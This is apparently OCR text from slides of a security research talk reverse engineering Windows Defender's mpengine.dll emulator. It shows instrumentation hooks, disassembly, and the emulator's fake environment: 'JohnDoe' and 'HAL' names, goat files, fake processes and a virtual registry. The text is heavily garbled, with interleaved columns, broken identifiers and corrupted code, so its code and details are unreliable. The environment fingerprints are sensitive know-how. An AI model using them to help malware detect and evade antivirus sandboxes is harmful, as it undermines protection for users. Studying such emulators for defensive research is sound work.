x86_common_context: :notify nondeterministic_event(

return;




x86 common context::

emulate CPUID

1 mmon_context: : emulate_CPUID(x86_common_c

‘ eax, ebx
on_context@@QAEKPAVDT _context@@ N@Z proc near

loc_5A57213D

0= dword ptr 8
4= byte ptr 0Ch

eax, 80000000h
short loc_5A5720E@

ebp

ebp, esp

ecx

eax, [ebp+arg 0]
ebx

esi

esi, ecx

edi

eax, 80000001h
a -

mow loc_5A572164

eax,

edx

dword ptr [esi+3A8h], 166h
ecx, [esi+136h]

dword ptr [esi+3ACh], 8
ebx, ebx

eax, [eax+3668h]

ebx

eax, edx

[ebp+var_4], eax

eax, [ecx]

eax, eax

loc_5A572139

Architecture-specific software
emulation for x86 CPUID instruction

Code coverage provided by
Lighthouse

: cpuid

eax,
loc_5A572170

eax, 80000003h
loc_5A57216C

80000002h

FIEE]

e 55

Y
full e[

loc_5A57216C:
push 5
Jmp

short loc_5A572166

loc_5A572170:
push 4
jmp

short loc_5A572166

[

loc_5A572164:
push 3

YYY

il i =

loc_5A572139:
xor edx, edx
jmp

short loc_5A57208E@

edx,
eax,
dl

edx,

edx
80000004h| |loc_5A572166:
pop edx

jmp

o 55

loc_5A5720E@

v £441J v

P

il e =

loc_5A5720E@:
mov edi, edx
shl edi, 4
add

edi, offset asc_5A17FA1S8 ;

mov
lea
jmp

loc_5A57213D:

edx, ebx
edi, [esi+274h]
short loc_5A5720EB

[

]

(]




Outline

1. Introduction
2. Tooling & Process

3. Reverse Engineering

Startup

CPU Emulation
Instrumentation
Windows Emulation &
Environment

4. Vulnerability Research
5. Conclusion

o 60 T v

N
-

nt!PEB

Settings

In-Emulator
OS Facilities

AV Instrumentation

Other

|® Scanning

Engines

CPU OS (Kernel) Persistent
Emulation Emulation System State

mpengine.dll




Instrumenting mpengine
Problem: little visibility into engine

e Coverage for the big picture, breakpoints for
detailed observation

Only output is malware detection

't

nt!PEB
Settings

In-Emulator
OS Facilities

AV Instrumentation

Other

in tel > : Scanning

Engines

CPU OS (Kernel) Persistent
Emulation Emulation System State

mpengine.dll

Threat Virus:

Win32/Virut.BN!dam identified.




Instrumenting mpengine

Problem: little visibility into engine
e Coverage for the big picture, breakpoints for
detailed observation

Only output is malware detection

Solution: a malware’s eye view
® mpengine.dll has functions that are
invoked when our malware calls certain
Windows APls
® Create a binary to explore the AV from
inside - hook and reuse existing functions
to share that view with us on the outside

't

nt!PEB
Settings

In-Emulator
OS Facilities

AV Instrumentation

Other
Scanning
Engines

ARM

CPU
Emulation

aam®
111

Persistent
System State

OS (Kernel)
Emulation

mpengine.dll

Threat Virus:

Win32/Virut.BN!dam identified.




mpclient git.io/fbp0OX

Linux mpclient

Binary WinAPI
Emulation

Threat Virus:
Win32/Virut.BN!dam identified.

MpEngine.dll

IAT

Emulator

g_syscalls

OutputDebugStringA

WinExec

AN

Scanning Engine
Selection




Modified mpclient - ~3kLoCadded github.com/0OxAlexei

Linux mpclient | winAPI
Binary Emulation

OutputDebugStringA hook

Print to stdout

WinExec hook

Other actions...

MpEngine.dll

IAT

Emulator

g_syscalls

) OutputDebugStringA

) WinExec

\

Scanning Engine
Selection




OutputDebugStringA Hook

I
L

Parameters<l> arg; //

Hook the native function pointer that gets called when Parameters<1>: :Parameters<l>(&
OutputDebugStringA is called in-emulator

Linuxmpclient
Use existing functions in Defender to kel Emulation

interact with function parameters and
virtual memory

.
Mark - Thanks for the idea! :

{
“Wp_5_23", R

RVAS rvas523
.MPVERNO

//Parameter functions
.RVA_Parametersl = 0x3930f5,
-RVA_Parameters2 = 0x3b3cfd,

//0utputDebugString

pOutputDebugStringA = imgRVA(pRVAs—>RVA_FP_OutputDebugStringA);

elog(S_DEBUG_VV, "OutputDebugStringA:\t\t0x%06x @ 0x%x", pRVAs—>RVA_FP_OutputDebugStringA, *(pOutputDebugStringA));
*pOutputDebugStringA = (uint32_t)KERNEL32_DLL_OutputDebugStringA_hook;

elog(S_DEBUG_VV, "OutputDebugStringA Hooked:\t®@x%x", *(pOutputDebugStringA));




OutputDebugStringA L
H 00 k Parameters<l»::Parameters<l»(&arg,

->m_pDTc-»>m_wvtickstd += 32i64d,;

Parameters<l>» arg; // [esp+dh]

void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void * v)

uint64_t Params[1] = {0};
char x debugString;
DWORD 1len = 0;

elog(S_DEBUG, "OutputDebugStringA");
GetParams(v, Params, 1);

debugString = GetString(v, Params[0], &len);
elog(S_UPDATE, "%s", debugString);

elog(S_DEBUG, "OutputDebugStringA DONE\n");



OutputDebugStringA —
H 00 k Parameters<l»::Parameters<l»(&arg,

->m_pDTc-»>m_wvtickstd += 32i64d,;

Parameters<l>» arg; // [esp+dh]

Declaration - void * forpe vars t *
void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void * v)

uint64_t Params[1] = {0};
char x debugString;
DWORD 1len = 0;

elog(S_DEBUG, "OutputDebugStringA");
GetParams(v, Params, 1);

debugString = GetString(v, Params[0], &len);
elog(S_UPDATE, "%s", debugString);

elog(S_DEBUG, "OutputDebugStringA DONE\n");



OutputDebugStringA

Hook

Local variable to
hold parameters -

Ssame as
Parameters<l>

Parameters<l>» arg; // [esp+dh]

Parameters<1>::Parameters<1l>(&arg,
->m_pDTc-»>m_wvtickstd += 32i64d,;

Declaration - void * forpe vars t *
void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void * v)

uint64_t Params[1] = {0};
char * debugString;
DWORD 1len = 0;

elog(S_DEBUG, "OutputDebugStringA");
GetParams(v, Params, 1);

debugString = GetString(v, Params[0], &len);
elog(S_UPDATE, "%s", debugString);

elog(S_DEBUG, "OutputDebugStringA DONE\n");




OutputDebugStringA
HOOk :Paameterﬂs-(l:-(&sv-g,

bl = ]

Local variable to Declaration - void * forpe vars t *

hold parameters - _ void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void * v)
same as 1

Parameters<1l> uint64_t Params[1] = {0};

char * debugString;
DWORD 1len = 0;

Pull parameters off
eloa(S DFBUG. "OutnutDebugStringA");

of the virtual stack GetParams(v, Params, 1);
by callin
ycd g debugString = GetString(v, Params[0], &len);
Parameters<1l>

. . . elog(S_UPDATE, "%s", debugString);
function inside 9t>- 9>trang
mpengine .dll elog(S_DEBUG, "OutputDebugStringA DONE\n");

Parameters are just
addresses within
the emulator’s
virtual memory



OutputDebugStringA

HOOk :Parameters<1>(&arg,
Local variable to Declaration - void * forpe vars t * GetString calls
hold parameters - _ void __cdecl KERNEL32_DLL OutputDebugStringA_hook(void * v)| ;¢
same as 1 .
Parameters<l> uint64_t Params[1] = {0}; mpengine.dll
s {hﬁ" *Odebugstringi functions which
en = 0;
Pull parameters off translate an
. 1 (S DFRUG. "0 Deh i ") .
of the virtual stack FE L e emulator virtual
by calling memory address
debugString = GetString(v, Params[0], &len); .
Parameters<1l> (the parameter) into
function inside elog(S_UPDATE, "%s", debugString); a real pointer
mpengine .dll elog(S_DEBUG, "OutputDebugStringA DONE\n");
} ’

Parameters are just
addresses within
the emulator’s
virtual memory



OutputDebugStringA

HOOk :Parameters<1>(&arg,
Local Var'able tO Declaration - : * for *
hold e = void e Ve GetString calls
Old parameters _ void __cdecl KERNEL32 DLL OutputDebugStringA_hook(void * v) . .
same as 1 .
Parameters<l> uint64_t Params[1] = {0}; mpen.glne.qll
s {ha" *Odebugstring: functions which
en = 0;
Pull parameters off translate an
. eloa(S DFRIIG. "OufnufnehugStringA"); .
of the virtual stack GetParams(v, Params, 1): emulator virtual
by calling : _ memory address
debugString = GetString(v, Params[0], &len); .
Parameters<l> (the parameter) into
. . . elog(S_UPDATE, "%s", debugString); e
function inside — Al a real pointer
mpengine .dll elog(S_DEBUG, "OutputDebugStringA DONE\n");
} ’

Parameters are just . . .
addresses within Now we can just print the string to stdout

the emulator’s
virtual memory
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Hooking
OutputDebugStringA



myapp .exe 5 1

Simplicity / lack of code entropy

Linking against unsupported DLLs
Calling unsupported functions
Optimizations using complex instructions
Targeting overly modern Windows builds

|/O communication with outside
the emulator by calling
OutputDebugStringA and

other hooked functions Solutions:
® Addin junk code
Strip down linkage to bare minimums
Disable all optimizations
Define your own entry point
Target old Windows versions

*These are problems for AV emulators in general in
my experience. Defender seems more flexible than
others, but | did still have to massage compiler
settings to get a consistently emulated binary
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\ Windows Emulation & Environment

1. Usermode Environment
2. Usermode Code

3. User-Kernel Interaction
4. Kernel Internals

5. AV Instrumentation
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° Y advapi32.mp.dll
Virtual File System
y C&%\\aaa_TouchMeNot_\aaa_TouchMeNot_.txt

C&%\\config.sys
C&%\\Documents and Settings\Administrator\Local Settings\Application Data\_TouchMeNot_.txt

Co n te n tS C&%\\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\CD Burning\__empty
C&%\\Documents and Settings\All Users\Application Data\_TouchMeNot_.txt
C&%\\Documents and Settings\All Users\Application Data\Microsoft\__empty
C&%\\Documents and Settings\JohnDoe\Application Data\__empty

o . C&%\\Documents and Settings\JohnDoe\Application Data\aaa_TouchMeNot_.txt

D u m p fl I e Syste m CO nte ntS W I th a C&%\\Documents and Settings\JohnDoe\Application Data\Microsoft\_empty

C&%\\Documents and Settings\JohnDoe\Desktop\__empty
4 4 L C&%\\Documents and Settings\JohnDoe\Desktop\aaa_TouchMeNot_.txt

S I m I I a r trl C k to th e C&%\\Documents and Settings\JohnDoe\Local Settings\Application Data\Microsoft\Windows\_empty

C&%\\Documents and Settings\JohnDoe\Local Settings\Temporary Internet Files\_empty
' O C&%\\IndexerVolumeGuid

OutputDebugStringA hook - just CARINTERNALL ey
C&%\\Mirc\mirc.ini
C&%\\Mirc\script.ini

pass void pointers to arbitrary data  |Ersee

C&%\\ntldr

C&%\\Program Files\Common Files\Microsoft Shared\__empty

C&%\\Program Files\Common Files\System\__empty

O O C&%\\Program Files\Common Files\System\wab32.dll
. 14 5 5 fl | eS O n t h e 2 / 2 8/ 1 8 b u I I d Ca&%\\Program Files\Internet Explorer\__empty
. =] C&%\\Program Files\Internet Explorer\lexplore.exe
C&%\\Program Files\Internet Explorer\SIGNUP\INSTALL.INS
O Wh O | e FS Ca n be d u m ped I n a C&%\\Program Files\WebMoney\__empty
C&%\\System Volume Information\__empty
second or two caxTEPL_emoty
4 C&%\\tssafeedit.dat
= C&%\\UserData\default.wab
M O St I y fa ke exe C u ta b I e S C&%\\WINDOWS\Debug\PASSWD.LOG
4 C&%\\WINDOWS\explorer.exe
. . C&%\\WINDOWS\FONTS\_empty
A handful of fake config files | cesnoowsthoce
1 C&%\\WINDOWS\IEXPLORE.EXE
L3 (({ ))) . C&%\\WINDOWS\Inf\__empty
Various text “goat” files CaWINDOWSWedtal ety
2 C&%\\WINDOWS\Media\tada.wav
C&%\\WINDOWS\msdfmap.ini

LOtS Of empty ﬁ|eS C&%\\WINDOWS\notepad.exe
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Dumping The File System



C:\\aaa TouchMeNot .txt

B aaa_TouchMeNot_.txt UNREGISTERED

<> aaa_TouchMeNot_.txt % v

1 GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOAT
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOAT
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOAT
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOAT
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GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOAT
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOAT
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATE ]
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA T JREL N e € 119 x
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA p Ihtrl G anat_f ~ @
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA TS C' | @ catb.org/jargon/ntmi/G/goat-filehtml 3¢ | G Cgy @
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA goat file
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA JESNPN G ONext
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA TR A4 ext
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA JETeY R |18
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA e e
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA A sacrificial file used to test a computer virus, i.e. a dummy executable that
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA carries a sample of the virus, isolated so it can be studied. Not common
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA among hackers, since the Unix systems most use basically don't get viruses.
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA [ SSI7S ©Next
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA s =ty
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATRELY-YK 72 ©gobble
GOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOATGOA

J Line 1, Column1




Fake Config Files

C:\\Windows\msdfmap.ini

C:\\Mirc\mirc.ini

[connect default]

[chanfolder] Access=NoAccess
n0=#Blabla [sql default]
nl=#End 5

Sgl=" "

[connect CustomerDatabase]

: Access=ReadWrite

[script] Connect="DSN=AdviWorks"

; blabla [sql CustomerById]
Sgl="SELECT * FROM Customers WHERE CustomerID = 2"
[connect AuthorDatabase]
Access=ReadOnly
Connect="DSN=MyLibraryInfo;UID=MyUserID; PWD=MyPassword"
[userlist AuthorDatabase]
Administrator=ReadWrite
[sgl AuthorById]
Sgql="SELECT * FROM Authors WHERE au_id = 2"

C:\\Mirc\script.ini




Virtual Registry

Huge virtual registry with thousands of entries

RegEntry
RegEntry
RegEntry

\software\Classes\CLSID\{233A9694-667E-11d1-9DFB-0
\software\Classes\CLSID\{233A9694-667E-11d1-9DFB-0
\software\Classes\CLSID\{233A9694-667E-11d1-9DFB-0
\software\Classes\CLSID\{48123bc4-99d9-11d1-a6b3-0
\software\Classes\CLSID\{48123bc4-99d9-11d1-a6b3-0
\software\Classes\CLSID\{54af9350-1923-11d3-9ca4-0
\software\Classes\CLSID\{54af9350-1923-11d3-9ca4-0
\software\Classes\CLSID\{54af9350-1923-11d3-9ca4-0
ThreadingModel,

\software\Classes\CLSID\{54af9350-1923-11d3-9ca4-0
\software\Classes\CLSID\{00000108-0000—-0010-8000—0¢
\software\Classes\CLSID\{05238c14-a6el-11d0-9a84-0
\software\Classes\CLSID\{58ab2366-d597-11d1-b90e-0¢
\software\Classes\CLSID\{5c659257-e236-11d2-8899-0
\software\Classes\CLSID\{5c659257-e236-11d2-8899-0
\software\Classes\CLSID\{fd853cdb-7f86-11d0-8252-0
\software\Classes\CLSID\{fe9af5c0-d3b6-11ce-a5b6-0
\software\Classes\CLSID\{080d0d78-f421-11d0-a36e-0¢
\software\Classes\CLSID\{080d0d78-f421-11d0-a36e-0¢
\software\Classes\CLSID\{080d0d78-f421-11d0-a36e-0¢
\software\Classes\CLSID\{080d0d78-f421-11d0-a36e-0¢
ThreadingModel,

\software\Classes\CLSID\{c8b522d1-5cf3-11ce-ade5-0
\software\Classes\CLSID\{c8b522d1-5cf3-11ce-ade5-0
\software\Classes\CLSID\{00000109-0000—-0010—-8000—0¢
\software\Classes\CLSID\{00000109-0000—-0010-8000—0¢
\software\Classes\CLSID\{00021400-0000—-0000—c000—0
\software\Classes\CLSID\{00021400-0000—-0000—c000—0
\software\Classes\CLSID\{0002E006-0000—-0000—-C000—0
\software\Classes\CLSID\{0002E006-0000—-0000—-C000—0
\software\Classes\CLSID\{00BB2765-6A77-11D0-A535-0

RegEntry
RegEntry
RegEntry
RegEntry
RegEntry
RegValue
RegEntry
RegEntry
RegValue
RegEntry
RegEntry
RegEntry
RegValue
RegEntry
RegEntry
RegEntry
RegValue
RegValue
RegEntry
RegEntry
RegValue

\software\Classes\CLSID\{00BB2765-6A77-11D0-A535-0

RegEntry

\software\Policies\Microsoft\Windows\ipsec,
\software\Policies\Microsoft\Windows\Safer,
\software\Policies\Microsoft\Windows\Safer\CodeIdentifiers,
\software\Clients,
\software\Clients\Mail,
\software\Clients\Mail\microsoft outlook,
\software\Clients\contacts,
\software\Clients\contacts\address book,
Address Book,

\software\Piriform,
\software\Piriform\CCleaner,

UpdateCheck,

\software\Tencent,
\software\Tencent\PlatForm_TYPE_LIST,
\software\Tencent\PlatForm_TYPE_LIST\3,
TypePath,

\software\IMesh,

\software\IMesh\Client,
\software\IMesh\Client\LocalContent,
Dire@,

DownloadDir,

\software\Blizzard Entertainment,
\software\Blizzard Entertainment\World of
InstallPath,

\Volatile Environment,

Warcraft,

\software\Classes\CLSID\{08165EA0-E946-11CF-9C87-00AA005127ED},

\software\Classes\CLSID\{08165EA0—-E946-11CF-9C87-00AA005127ED}\InprocServer32,

=




Processes

Various processes are
shown as running on the
system

These are not real running
processes, just names
returned in order to
present a realistic
execution environment to
malware

‘myapp.exe” is the name
of the process under
emulation - PID varies in
different mpengine builds

0 -

[System Process]

4 - System

356 - smss.exe

608 - csrss.exe
624 - winlogon.exe
676 — services.exe
680 - lsass.exe
700 - kav.exe

704 - avpcc.exe
708 - avpm.exe
712 - avp32.exe
716 - avp.exe

720 - antivirus.exe
724 - fsav.exe

728 - norton.exe
732 - msmpeng.exe
736 — msmpsvc.exe
740 - mrt.exe

744 - outpost.exe
856 - svchost.exe

1084
1268
1768
1796
1800
1804
1808
1812
1816
1820
1824
1828
1832
1836
1840
1844
1848
1852
3904

svchost.exe
spoolsv.exe
explorer.exe
iexplore.exe
outlook.exe
msimn.exe
firefox.exe
icg.exe
yahoomessenger.exe
msnmsgr .exe
far.exe
trillian.exe
skype.exe
googletalk.exe
notepad.exe
wmplayer.exe
net.exe
spawned.exe
myapp . exe



Demo
N\

Dumping The Process Listing
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Length Of Struc: 03BEh
Length Of Value: 0034h

Windows APl Emulation e of s gn

Signature: FEEF04BDh

[ . ——— e

Two types of Windows API functions: Sj gg;;""t aDynmemReadsVdl ; “dynme

e Stayin usermode — stay in the emulator File Flags:  PRIVAIE BUILD;

. . F}le 0S: NT (WINDOWS32)
® Resolve to syscall — trap to native emulation e Ty O
i Date:

Implemented just like the real Windows API - DLLs | e s Sl e B e
Symbols indicate they are called “vdlls” Fangusge/Case Pages 108372206
CompanyName: Microsocft Corporation

Present on disk and in memory in the emulator - [ike real | S P SR SRS 53

FileVersion: 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)

WindOWS InternalName: kernel32

LegalCopyright: ® Microsoft Corporation. All rights reserved.

VDLLs are not present in mpengine.dl1, must be Originalfilensme:  kernel32

ProductName: Microsoft® Windows® Cperating System
Q ProductVersion: 5.1.2600.2180
dynamlca“y IOaded from VDMS void _ fastcall :w::wJ13te‘v‘f£L.it"wb‘dlls‘:‘,w:lll_‘-'u::st_t vtype, VfskFileData *vfskileData
{

unsigned int count; // edi

\ZI vdll_get_index_by_base(unsigned __int64,vdll_host_t) unsigned int *total; // eb

VirtualStore: :ByteStream **pByteStream; // esi

[ 7] vdil_get_index_by_dlid(ulong,vdll_host_t)
| 7] vdl_get_index_by_name(char const *,vdl_host_t) total = Gy w1l index[viypel;

[Z‘ vdll_get_index_by_range(unsigned __int64,vdll_host_t) .

\z vdll_load pByteStrean = (&g_vdlls + 1024 * viype);

[ 7] vdil_load_cache

[ 7] vdll_metadata_receiver(void * uchar const *uint,ulong,ulong) Xfﬁfi}f?fffj"?ddFile( fsFileData, (*pByteStream)[26].vfptr, *pByteStres
\z] vdll_msil_mmap secount;

[Z‘ vdll_msil_mmap_extended E;hile ( count < *total );

\z] vdll_read_data_ex(vdl_data_t *,ulong,uchar *,ulong) ) }




Reversing VDLLs

@

SH -

@ & 3
| |

Library function ll Regular function | Instruction
o&8 x | [F
A .text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:

@ @

Data
@ Functions window

Function name

E GetNumaAvailableMemoryNode
\Z GetNumaHighestNodeNumber
\Zl GetNumaNodeProcessorMask
\E GetNumaProcessorNode

Z GetNumberFormatA

l:fj GethNumberFormatw

\Z GetNumberOfConsoleFonts
[#] Gethumberofconsol

\E GetProcessHeaps

\Z‘ GetProcessId

[7] Getpre
|7] GetprofileSectionA

[7] GetprofileSectionw

\E GetQueuedCompletionStatus
[F] sub_7ca2sces

\Zl GetSystemRegistryQuota

[F] sub_7cs28D15

,zl GetSystemTimes

\E GetSystemWindowsDirectoryA
T GetQuetamWindnweNirartarN

<

Line 327 of 1404

E Output window

apicall: NTDLL_DLL_UFS_DeleteFile @ 8x7c816eal
apicall: NTDLL_DLL_UFS_DeleteFile @ 8x7c816ea®
apicall:
apicall:
apicall:
apicall:
Propagating type information...

Unexplored

IDA - kernel32.mp.dll C\Users\alex\Desktop\kernel32.mp.dll

aff @ (@F F v g X || > @ O Nodebugger

[N I |

DA vView-A [ @ Hex View-1

7C828C10

External symbol

@ Structures Lij Enums @

7C828C10 ;

7C828C10
7C828C10
7C828C10
7C828C10
7C828C10
7C828C10
7C828C10
7C828C10
7C828C10
7C828C11
7C828C13
7C828C16
7C828C18
7C828C1A
7C828C1D
7C828C1F
7C828C21
7C828C27

NTDLL_DLL_UFS_DeleteFileByHandle @ 8x7c816ebk
NTDLL_DLL_UFS_DeleteFileByHandle @ 0x7c816eb4
NTDLL_DLL_UFS_DeleteFileByHandle @ 8x7c816ebk
NTDLL_DLL_UFS_DeleteFileByHandle @ 0x7c816ebk

Function argument information has been propagated

The initial autoanalysis has been finished.
Python

AU: idle Down Disk: 17GB

; BOOL _ stdcall GetProcessShutdownParameters(LPDWORD lpdwlevel,
public GetProcessShutdownParameters
GetProcessShutdownParameters proc near

lpdwlLevel
lpdwFlags

dword ptr 8
dword ptr @Ch

push
mov
mov

ebp

ebp, esp

ecx, [ebp+lpduwlevel]
ecx, ecx

short loc_7C828C2F
eax, [ebp+lpdwFlags]
eax, eax

short loc_7C828C2F
dword ptr [ecx], 280h
dword ptr [eax], ©

jz
mov
test
jz
mov
and

00028010 7C828C10: GetProcessShutdownParameters (Synchronized with Hex View-1)

A [ 43 X
aF [z 38 @

=

Exports

LPDWORD 1lpdwFlags)




In-Emulator VDLL Emulations

® |[n-emulator emulations stay within the emulator
® Code is run within the dynamic translation system

(il e =

; Exported entry 618. RtlGetCurrentPeb

public RtlGetCurrentPeb
RtlGetCurrentPeb proc near

eax, large fs:18h
mov eax, [eax+30h]

® Some emulations stub out to hardcoded returns retn

BOOL _ stdcall GetUserNameA(LPSTR 1lpBuffer, LPDWORD nSize)

{
BOOL result; // ez

if (& &3)
{

SetlLastError(ERROR_NOACCESS);
= 0;

else if ( *nSize <= Ox7FFF )

if (* >=8)

{

8;
1;

8;
SetlLastError(ERROR_INSUFFICIENT_BUFFER);
=0;
}

¥

else

{
SetlastError(ERROR_NOT_ENOUGH_MEMORY) ;
sult = 0;

Username is
“JohnDoe”

Computer name is “HAL
7 >= ComputerNameMax ) 7

SetError(ERROR_INVALID_PARAMETER);
return @;

¥

if ( !'1pnSize || !1pBuffer && *1pnSize

SetError(ERROR_INVALID_PARAMETER);
return 0;
¥
i

f
ame = ComputerNameDnsHostname
ameType == ComputerNamePhysicalNetBIOS

e = ComputerNamePhysicalDnsHostname )

(
|
|

|
|
|
{

if (* < ComputerNameMax )

{
* = ComputerNameMax;
SetError(ERROR_MORE_DATA);
return 0;

¥

nencpy (it ver, [T

*] i =17;

¥

return 1;

RtlGetCurrentPeb endp

ol ) =

h Exported entry 824. RtlSetSaclSecurityDescriptor

public RtlSetSaclSecurityDescriptor
RtlSetSaclSecurityDescriptor proc near
xor eax, eax

retn 18h
RtlSetSaclSecurityDescriptor endp




Stubbed Out Functions

public I_RpcEnablelimiTrace
I_RpcEnablelimiTrace proc near , DATA XRE

push BFFFFFFFFh

call ds:ExitProc
I_RpcEnableWmiTrace endp

db @CCh
; Exported entry 146. I _RpcExceptionFilter

public I_RpcExceptionFilter
I_RpcExceptionFilter proc near , DAT

xor eax, eax

retn 4

I RpcExceptionFilter endp

; Exported entry 147. I RpcFree

public I_RpcFree
I RpcFree proc near

retn 4
I_RpcFree endp

; Exported entry 148. I _RpcFreeBuffer

RPCRT4 .DLL

Complex functions are stubbed out to
return hardcoded values or halt emulation

int  cdecl WinMain(int argc, const char *

d
¥

return 8;

mspaint.exe

public LpcRequestPort
LpcRequestPort proc near
mov edi, edi
int 3 ; Trap to Debugger
retn
LpcRequestPort endp

; Exported entry 348. LpcRequestWaitReplyPort

public LpcRequestWaitReplyPort
LpcRequestlaitReplyPort proc near DAT
mov edi, edi
int 3 ; Trap to Debugger
retn
LpcRequestlaitReplyPort endp

NTOSKRNL. EXE




Cif ( namelen »>= sub_71AB3266f "local.foo.com™ )+ 1 )

WS 2 3 2 .d1l1l  Winsock library is uniquely full of B e
strcpyA(name, ocal.foo.com");
fingerprints - strings with “Mp” and result = 0;
German websites struct hostent *__stdcall gethostbyaddr
{

if ( sub 71AB31D@(cp, |'62.146.218.52") )
result = sub_71AB310@(cp, "62.146.7.79")|!1= @ ? ©x65C97D78 : @x4F87923E;

e U,

int _ stdcall WSAStartup(WORD wVersionRequested, LPWSADATA 1plSAData) dword_71ACB5A@ = 0;
{ word_71ACBSA4 =
if ( 1lpWSAData && !IsBadReadPtr(lpWSAData, 4u) ) n
{ host
oWSAData->wWersion = wWersionRequested; dword_
oWSAData-»>wHighVersion = 514; if ( laddr
strcpyA(1pliSAData-»szDescription, |"WinSock 2.8"); {
str cpy A(1pliSAData->szSystemStatus | "MPGoodStatus™); WSASetlLastError(87);
Data-»iMaxSockets = ReglpenkeyExA 1= 8 ? 8x18 : 8; return @;

ata-»iMaxUdpDg = 16; ¥
if ( *addr == 8x34D2923E )

) ’ {
if ( 'wVersionRequested )
ifritgzgaiggiiétr(lfh?'j- else if ( *addr == @x4F@7923E )

return 10014; t
dword 71ACBB54 = 1,; )
return @;

host =[}"wwwl.avira.com";

host = }"www.gutefrage.net”;

return &host;
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Native Emulation

® Complex functions that cannot be handled in-emulator must be emulated in native code
® Akin to usermode — kernel, or VM guest — host transitions
e Emulator to native transition implemented with a custom hypercall instruction - apicall

0x0F OxFF OxFO [4 byte immediate]

e Stubsthat apicall to various functions are included in VDLLs

() (=
; Exported entry 72. CopyFileliWorker -
' 5}(5&&&3{&
apicall
d Isas.sem bly public COpyFileWWOr"ker‘ i : r‘:e r<std::_Tree_val<std::_Tree_simple_types<std::pair<unsigned int const ,std::ul
pI‘OVIded by CopyFilellWorker proc near "oar
mov edi, edi
an IDA ’
Processor  FoncTion cum AT Sa50cas0 12 comment VTe
. apicall ker‘nel32!COpyFilel‘ﬂ’JOl"ker‘ 5 __unwind { __ehhandler opyFileWWorker@@YAXPAUpe_vars_t@@@Z
Extension = : al N s sz
Module CopyFilelWWorker endp Ej Zﬁij I
d.

edi,
loc_5A5DC28F

Emulated VDLL: kernel32!
CopyFileWWorker Native code: mpengine ! KERNEL32 DLL CopyFileWWorker



g syscall

apicall
instruction use
triggers
dispatch to
function
pointer in

g syscalls
table

This is the table
we modify

when hooking
OutputDebug

StringA

S

scalls[119]

dt mpenginel!esyscall t
+0x0 proc Ptr32 void
+0x4 encrc Uinti4B

offset ?NTDLL_DLL_NtSetEventWorker@@YAXPAUpe_vars_t@@@Z
, DATA XREF: std::lower_bound<esyscall
; NTDLL_DLL_NtSetEventWorker(pe

5F2823h
offset ?NTDLL_DLL_NtResumeThreadWorker@@YAXPAUpe_vars_t@@@Z ; NTDLL _DLL_NtResumeT
2435AE3h

offset ?NTDLL_DLL_NtSetInformationFilelWorker@@YAXPAUpe_vars_t@@@Z ;
2DA9326h

